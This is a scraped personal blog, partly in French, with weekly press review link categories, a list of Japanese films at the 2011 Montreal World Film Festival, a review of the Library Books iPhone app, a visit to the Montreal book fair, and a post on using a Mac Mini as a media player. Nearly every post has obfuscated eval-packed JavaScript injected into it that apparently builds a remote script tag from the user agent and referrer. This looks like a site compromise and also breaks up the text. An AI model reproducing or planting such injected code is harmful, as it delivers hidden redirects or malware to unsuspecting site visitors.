Weekly Press Review (2011/09/23)

Another depressing week spent mulling over the uncertainty of my job. As usual, document.write(“”); more things to do than I have time or the energy to accomplish. I am so tired…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knrny|var|u0026u|referrer|siyri||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkfhn|var|u0026u|referrer|efiaa||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2011/09/15)

Nothing much this week, document.write(“”); beside thinking and depressing about the uncertain future of my employment. It was also a slow week in the news, so I took the time the read a few more titles. I am tired and have so many things to do. So, when I finally get two days off in a row, what do I do? Nothing! I guess I need the rest…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nnrky|var|u0026u|referrer|biknr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rkaee|var|u0026u|referrer|rarey||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Montreal World Film Festival 2011

In a press conference today, document.write(“”); the Montreal World Film Festival announced the programming of its 35th edition, which will be held from August 18 to August 28. During the eleven days of its duration, the festival will present 383 films from 70 countries, including 230 feature-length and medium-length movies as well as 153 short films. 107 of those features will be world or international premieres and 51 will be North American premieres! We must also note that the poster was designed by Claude Robinson, the jury is presided over by Spanish director Vicente Aranda, the opening film will be André Forcier’s Coteau Rouge, there will be a special tribute to Catherine Deneuve, a master class by Claude Lelouche and Bertand Tavernier will presents his personal favourites. Quite a program in perspective.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfssi|var|u0026u|referrer|ftbzy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbktf|var|u0026u|referrer|aszis||js|php’.split(‘|’),0,{}))

Unfortunately, the festival is presenting this year
only seven Japanese movies (plus a Japanese-related Brazilian movie): four in World Competition (including an animated short co-produced with Canada and the above-mentioned Brazilian movie), three in the Focus on World Cinema category and one documentary.

The World Competition

  • Antoki no Inochi (Life back then): Japan, 2011, 131 min.; Dir.: Takahisa Zeze; Scr.: Tanaka Sachiko, Takahisa Zeze (Based on the novel by Masashi Sada); Phot.: Atsuhiro Nabeshima; Ed.: Junichi Kikuchi; Cast: Masaki Okada, Nana Eikura, Mitsuru Fukikoshi, Akira Emoto, Rei Dan,Yoshiko Miyazaki, Kanji Tsuda.

    Kyohei, who has retreated into himself after several psychological wounds, finally begins to appreciate the preciousness of life, ironically through dealing with death.

    Schedule: 8/18, 21:30, TM.18.2; 8/19, 11:00, CI.19.2; 8/20, 16:30, CI.20.4.
    Read our commentary on this movie.

  • Muybridge’s Strings: Canada/Japan, 2011, 13 min.; Dir./Scr./Ed.: Koji Yamamura; Original Music, Sound Design: Normand Roger, Pierre Yves Drapeau, Denis Chartrand; Ex. Prod.: David Verrall (NFB), Kenji Saito (NHK), Shuzo John Shiota (Polygon); Prod.: Michael Fukushima (NFB), Keisuke Tsuchihashi (NHK), Shuzo John Shiota (Polygon). Animation co-produced by the National Film Board of Canada, NHK and Polygon Pictures.

    Can time be made to stand still? Can it be reversed? A meditation on this theme, contrasting the worlds of the photographer Eadweard Muybridge — who in 1878 successfully photographed consecutive phases in the movement of a galloping horse — and a mother who, watching her daughter grow up, realizes she is slipping away from her.

    Schedule: 8/21, 11:20, CI.21.2; 8/21, 21:30, TM.21.2; 8/22, 16:30, CI.22.4.
    Read our commentary on this movie.

  • Waga haha no ki (Chronicle of my mother): Japan, 2011, 119 min., Dir./Scr.: Masato Harada (based on a novel by Yasushi Inoue; Phot.: Akiko Shizawa; Ed.: Eugene Harada; Cast: Koji Yakusho, Aoi Miyazaki, Kikikirin.

    An aging mother clings to fading memories of her son and the maternal love which she always had for him but was never able to express because of the complex history of the family. It had always been hidden under layers of feelings.

    Schedule: 8/27, 11:20, CI.27.2; 8/27, 21:30, TM.27.2; 8/28, 16:00, CI.28.3.

  • Corações sujos (Dirty Hearts): Brazil, 2011, 107 min., Dir.: Vicente Amorim; Scr.: David França Mendes (based on a novel by Fernando Morais); Phot.: Rodrigo Monte; Ed.: Diana Vasconcellos; Cast: Tsuyoshi Ihara, Takako Tokiwa, Eiji Okuda, Kimiko Yo, Shun Sugata, Eduardo Moscovis.

    In Brazil after WWII, the large population of Japanese immigrants, already oppressed by the state, refused to believe that Japan has lost the war and a private war was begun against the “defeatists”. The story of one man caught up in this war and his wife’s struggle to extricate him.

    Schedule: 8/21, 11:20, CI.21.2; 8/21, 21:30, TM.21.2; 8/22, 16:30, CI.22.4.

Focus on World Cinema

  • Gekko no kamen (Moonlight mask): Japan, 2011, 102 min.; dir.: Itsuji Itao; Scr.: Itsuji Itao, Shoichiro Masumoto; Phot.: Masakazu Oka; Ed.: Ken Memita; Cast: Itsuji Itao, Tadanobu Asano, Satomi Ishihara.

    When Usagi, a WWII veteran, returns to Tokyo everyone is surprised to learn that he survived. Usagi hopes for a revival of his prewar theatrical career but his efforts quickly hit a snag when another “Usagi” turns up.

    Schedule: 8/19, 11:40, L10.19.1; 8/19, 21:30, L10.19.5; 8/20, 12:20, L10.20.2; 8/21, 19:00, L10.21.5.
    Read our commentary on this movie.

  • Kureizizum (Crazy-ism): Japan, 2010, 90 min.; Dir./Scr./Ed.: Shoji Kubota; Phot.: Aya Matsubayashi; Cast: Ryoba Baba, Akiko An, Makoto Uenobori, Enoku Shimegi, Kurumi Hijikata, Hikaru Shida.

    Five social misfits commit a successful murder-robbery, but, stuck in their hideout, they soon fight over the money

    Schedule: 8/21, 10:00, L10.21.1; 8/22, 21:40, L10.22.6; 8/24, 17:20, L10.24.3.
    Read our commentary on this movie.

  • Shiniyuku tsuma tono tabiji (My Wife): Japan, 2010, 113 min.; Dir.: Yukinari Hanawa; Scr.: Kohta Yamada; Phot.: Kenji Takama; Ed.: Nobuko Tomita; Cast : Aki Nashihara, REiko Tajima, Baiken Jukkaniji, Makoto Kaketa, Nikichi Kondo, Hiromi Kuronuma.

    In December, 1999, a middle-aged man was arrested and charged with “negligence as a guardian, resulting in death”, a charge normally levelled against a person responsible for an elderly person or a child. How did it come to be levelled in this case?

    Schedule: 8/26, 14:40, L17.26.3; 8/27, 12:40, L9.27.2; 8/27, 19:20, L9.27.5; 8/28, 16:00, L17.28.3.

Documentaries

  • Heisei Jirenma (The Heisei Dilemma): Japan, 2010, 98 min.; Dir.: Junichi Saito; Phot.: Nobutaka Murata; Ed.: Tetsuji Yamamoto.

    In the 1980s, after unexplained deaths at his boating school, its principal, Totsuka, was sent to jail. Physical punishment was banned in all Japanese schools. But now Totsuka is back at work.

    Schedule: 8/27, 9h50, L17.27.1; 8/27, 19h10, L17.27.5; 8/28, 18h40, L17.28.4.

Updates: While waiting for our own commentaries on those movies, you can always check the excellent commentaries by Claude Blouin on Shomingeki (9/15/2011). Added a few links (8/19/2012).

Library Books app

Je suis toujours à l’affut des nouvelles intéressantes, document.write(“”); des innovations technologiques et des gadgets utiles. Ainsi, j’ai découvert hier, tout à fait par hasard, une intéressante application pour iPhone, iPod Touch ou iPad qui permet de suivre ses emprunts de bibliothèque et ainsi de ne jamais plus remettre un document en retard!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydryt|var|u0026u|referrer|nttsf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iztsr|var|u0026u|referrer|hitea||js|php’.split(‘|’),0,{}))

Il s’agit du Library Books app disponible pour les ordinateurs Macintosh (téléchargeable sur le site internet de l’application) et pour iPhone (disponible sur l’ App Store d’Apple). J’ai toujours espéré que quelqu’un ferait un jour une application qui me permettrait de consulter Nelligan, le catalogue du Réseau des Bibliothèques de Montréal, sur l’un de mes bidules mobiles (iPod Touch ou iPad). Malheureusement, tout ce que je peux faire pour l’instant c’est consulter le site internet de Nelligan sur Safari, le navigateur d’Apple. Ce n’est pas vraiment pratique, car de cette façon je dois entrer à chaque fois mon numéro d’usager et mon mot de passe. Une application dédiée garderait ces informations en mémoire.

J’étais sceptique qu’une application générique comme Library Books soit compatible avec le système du Réseau des Bibliothèques de Montréal. J’ai néanmoins consulté la liste des bibliothèques supportées par l’application: on y retrouve la bibliothèque publique de New York, le réseau de bibliothèques du Métro-Boston, ainsi que celles de la plupart des grandes villes américaines ou australiennes, la bibliothèque publique de Toronto et, à ma grande surprise, les bibliothèques publiques de Montréal! 237 bibliothèques supportées en tout!

Une fois qu’on a entré nos information de connection au système ainsi que nos paramètres favoris (“settings”, comme les alertes de retard, etc.), l’application nous donne la liste de nos emprunts (“Loans”) par ordre de date due. Si des titres sont sur le point d’être en retard, la date apparait en rouge et un écusson affichant le nombre de titres dues apparait dans le menu du bas. L’application nous donne aussi la liste de nos réservations (“Holds”), le nombre de réservation disponible pour le retrait (un écusson dans le menu du bas) et notre historique d’emprunt (“History”). Il est intéressant de noter que l’on peut se connecter à plusieurs réseau de bibliothèques.

J’avoue que c’est plutôt simple comme application. Il est dommage que Library Books n’offre pas la possibilité de faire des recherches ou de faire des réservations, mais ce genre de fonctions avancées n’est vraiment possible qu’avec une application dédiée (il probablement impossible de programmer de telles fonctions afin qu’elles soient compatibles avec toutes les 237 bibliothèques supportées par l’application!). Il est toutefois possible d’accéder à son compte sur Nelligan par l’entremise de Library Books (sans avoir à ré-entrer son code de connection) et d’y faire des recherches et des reservations, mais la présentation sur écran laisse un peu à désirer.
Il reste que le but principal de cette application est surtout de s’assurer que les usagers soient aisément informer des dates de retour (leur permettant ainsi de remettre leur documents à temps) et de la disponibilité de leur réservation. C’est quant à moi bien assez et je recommande chaudement cette application même si elle est un peu chère ($2.99 US).
Library Books a été créé par Harold Chu. L’application est disponible, en anglais seulement, dans la catégorie “utilities” de l’iTunes Store pour $2.99 US. Elle est compatible avec tout iPhone, iPod touch, et iPad qui opèrent avec la version iOS 3.0 ou plus (testé avec succès sur iOS 4.0).

[updated 2011-01-22]

Revue de Presse / Press Review (2011/01/10)

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dykss|var|u0026u|referrer|fkanf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hyith|var|u0026u|referrer|eairr||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/12/22)

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hetfi|var|u0026u|referrer|fhzze||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|haydt|var|u0026u|referrer|rsfrb||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/12/08)

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isera|var|u0026u|referrer|etzrz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asiha|var|u0026u|referrer|ibfrs||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Health, home & garden

International Politics & the WikiLeaks saga

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Un p’tit tour au salon

Mercredi dernier (11/17) je suis allé faire un petit tour au Salon du Livre de Montreal. Je n’ai parlé à personne que je connaissais. Au kiosque d’Alire, document.write(“”); il y avait bien Louise et Jean mais ils étaient occupé à discuter avec quelqu’un. Lors d’un second passage j’y ai aussi vu Jean-Jacques, également prit dans une conversation. Je n’ai vu ni Pascale, qui devait probablement arriver plus tard dans la semaine, ni Francine, qui n’avait de séances de signatures que le samedi. Chez Prologue (?), j’ai aussi entrevue Michèle Laframboise qui signait des livres et parlait à un des directeurs de Médiapaul. C’est tout. J’ai aussi croisé quelques célébrités sans importance (pour moi).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abrre|var|u0026u|referrer|kzddf||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hteer|var|u0026u|referrer|dryad||js|php’.split(‘|’),0,{}))

J’ai fait un tour rapide comme j’ai toujours eu l’habitude de le faire, quadrillant le salon dans tout ses sens (cardo et decumanus, respectivement les axes nord-sud et est-ouest des cités romaines). Heureusement, le premier jour à l’heure du souper, il y a moins de monde et on peut se déplacer plus aisément. Il ne m’a donc fallut qu’une heure et demi, alors qu’auparavant je restais deux ou trois heures. Il y a tellement de livres maintenant que ça ne vaut plus vraiment la peine de regarder systématiquement chaque kiosque avec attention. Les découvertes se font par chance, au hasard d’où se pose le regard. C’est ce que j’appelle du lèche-vitrine karmique. Mais je n’ai pas vu grand chose d’excitant.

Le 33e Salon du Livre de Montreal avait pour thème le “livre ouvert sur le XXIe siècle.” Pour plus de détails sur le salon vous pouvez voir mes récentes revues de presse (du 11/14 et 11/24) ou la couverture qu’en a fait Cyberpresse. Malheureusement, comme je travaille le vendredi je n’ai pas pu allé à la Journée des Professionnels comme par les années passées; il y avait quelques atelier et table ronde auxquels j’aurais aimé assisté (mais de toute façon je n’y aurais probablement pas appris grand chose de nouveau…).

Le salon est un événement strictement francophone mais j’ai tout de même eu l’heureuse surprise d’y voir un petit kiosque pour la librairie (et éditeur) Drawn & Quarterly. J’ai admiré leur beaux livres et j’en ai profité pour me plaindre à une stagière du marketing qu’on avait pas répondu à mes demandes de copies de presse! (je lui ai laissé ma carte mais, bien sûr, personne ne m’a contacté).

Au kiosque de la librairie Planète BD (Hachette) j’ai découvert avec surprise que Glénat avait une collection intitulée Glénat Québec. Faut croire que je ne suis plus beaucoup au courant des nouveautés (trop d’éditeur! trop de titres!)…

La Presse et Le Devoir avaient des kiosques offrant des rabais pour leur abonnement. Celui pour Le Devoir était deux fois plus cher! La Presse était à $1.99 par semaine: j’ai hésité un moment mais c’est encore trop cher pour un quotidien qui n’offre même pas une pleine page de “funnies”. Je suis surpris qu’il n’offrait pas de rabais juste pour leur édition numérique.

La Bibliothèque et Archives Nationale avait, comme tout les ans, un kiosque. Je suis par ailleurs encore décu que le Réseau des Bibliothèques de Montréal n’en ai pas. C’est pourtant le lieu idéal pour faire de la promotion. On sait bien, un kiosque c’est dispendieux et la ville préfère faire des économies de bout de chandelles…

Finalement, avec une thématique comme “livre ouvert sur le XXIe siècle” il fallait s’attendre à un kiosque dédié au livre numérique. Il y avait des vendeurs de Sony qui faisaient la promotion des plus récents modèles de Reader, ainsi que des représentants de l’Association Nationale des Éditeurs de livres et de De Marque, la firme qui a développé avec l’ANEL une plateforme de distribution pour les livres numériques québécois et canadiens-français. Lancée en août 2009, l’Entrepôt numérique offre maintenant 3,504 publications de 66 éditeurs afin d’en faciliter la promotion et la commercialisation par la vente en ligne (8601 publications vendues à ce jour) et le “feuilletage” d’extraits (392,458). Le contenu de l’Entrepôt peut être visualisé par le grand public grâce à un site “vitrine” (dont j’ai découvert l’existence au salon). Des représentants de deux des librairies en ligne offrant le contenu de l’Entrepôt, jelis.ca et livresquebecois.com, étaient également présent. J’y ai ramassé deux dépliants fort intéressants et instructifs: «Diffuser vos livres dans l’univers numérique» (PDF, 839 Ko), qui explique la plateforme aux éditeurs et libraires, et «À la découverte du livre numérique» (PDF, 3,5 Mo), un cahier spécial de l’École branchée. J’ai discuté avec une représentante de l’ANEL, mais je ne crois pas qu’ils soient le moindrement intéressé à tenir des publications en anglais (pourtant le “livre québécois”, ça inclus théoriquement des éditeurs québécois anglophones, non? Too bad, je vais donc continuer à faire affaire avec les américains!).

Somme toute, ce fut une visite brève mais agréable. C’est toujours intéressant de pouvoir jeter un oeil sur les nouveautés et d’avoir l’opportunité de découvrir de nouveaux trésors.

Revue de Presse / Press Review (2010/10/27)

Anime & Manga related, document.write(“”); Japan, Popular Culture
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nakbt|var|u0026u|referrer|hrrhz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nikzs|var|u0026u|referrer|reins||js|php’.split(‘|’),0,{}))

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics/News

Health, home & garden

Humour

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Mini is super

AirPort delays
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|faitn|var|u0026u|referrer|ndsbt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|esfza|var|u0026u|referrer|tfstb||js|php’.split(‘|’),0,{}))

Up to recently I was using an old Apple TV to watch my videos on my big HDTV (a 40-inch Sony Bravia Series S LCD). To store and feed the videos to the media box, document.write(“”); I also needed a network hard-drive (a Vantec’s NexStar Dual Bay Hard Drive Dock [NST-D200SU] with two terabyte-HDs plugged to an Apple’s AirPort Extreme). Unfortunately, this setting always kept the HD spinning which eventually lead to drive failure. Deeming the setting unstable (and definitely unsafe for the drives) I decided to replace the Apple TV and therefore spent some time analyzing which devices would be the best candidates for replacement. The obvious choice is the new Apple TV 2: it is one of the cheapest options, but unfortunately has all the problems of the original Apple TV (a rather unflexible device that needs to be hacked to offer interesting functionality) and has been primarily designed for streaming specific content (mostly iTunes’ movies, YouTube, NetFlix). Of course, there are plenty of media streaming devices out there (like the Popcorn Hour, the Roku, or the Boxee Box just to name a few) with each their advantages and problems. I had been pondering the dilemma for a while and finally concluded that the best and most flexible option (although the most expensive) was to use the latest Mac-Mini model.

Mini Me

The Mac-Mini (mid-2010 model) is a full-fledge computer that pack the same power as my iMac (the Mid-2007 model, which has a 2.4 GHz Intel Core 2 Duo processor with 2 GB of RAM and 320 GB of HD) but in a much smaller box (it’s about the same size of the old Apple TV). Therefore it could not only serves as a backup computer but also can easily play any type of video files (through Quicktime, Front Row, XBMC or Boxee) or even stream video from the internet. The greatest improvement on previous Mac-Mini models is that this one has an HDMI output which, like for the Apple TV, provide the best quality picture (1080p or 1920 x 1200). This is important in regard to the fact that the new Apple TV 2 offers only 720p. I can even watch Dvds since it also has a 8x slot-loading SuperDrive. As a bonus it also has a SD card slot, plenty of connectivity (a FireWire 800 port, four USB 2.0 ports, 802.11n Wi-Fi, Bluetooth 2.1 and 10/100/1000BASE-T Ethernet) and can easily be upgraded, if needed, with more memory! In conclusion: it is so much more than what I had with the Apple TV.


Streaming is the dream

I am glad that I was able to quickly replaced my old Apple TV so I was not deprived for too long of the ability to watch downloaded videos. And I am even happier to have replaced it with a media player that is much better and more powerful. Now I can watch hi-definition videos (those heavy mkv files) without getting a jumpy picture or out of sync sound. I can browse the internet and enjoy all the advantage of iTunes from my couch. But I have also discovered something new.

I had heard of streaming sites like Hulu before, but never bothered to check it because it is not available in Canada. I’ve heard of several equivalent Canadian sites, but I don’t like to watch TV on my computer (it’s only a twenty-inch screen and the seat is really uncomfortable) and most of those sites don’t work on my iPad because they are flash-based. I tried Crunchyroll or Netflix on the iPad but you get tired easily on a ten-inch screen (although some apps, like Netflix, work with the out-video cable) and it can still be a little slow or jerky sometimes. However I was really astonished by the ability of the Mac-Mini to stream video to my HDTV.

I am convinced that web TV is really the future of television and sometimes wonder why I still bother to pay for cable. You already can stream lots of video on demand and even live TV. Here’s a few sites that I’ve found interesting:

More streaming anime links:

Live Tv links:

Quis custodiet ipsos custodes?

Alignement Karmique?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyraz|var|u0026u|referrer|rihzz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
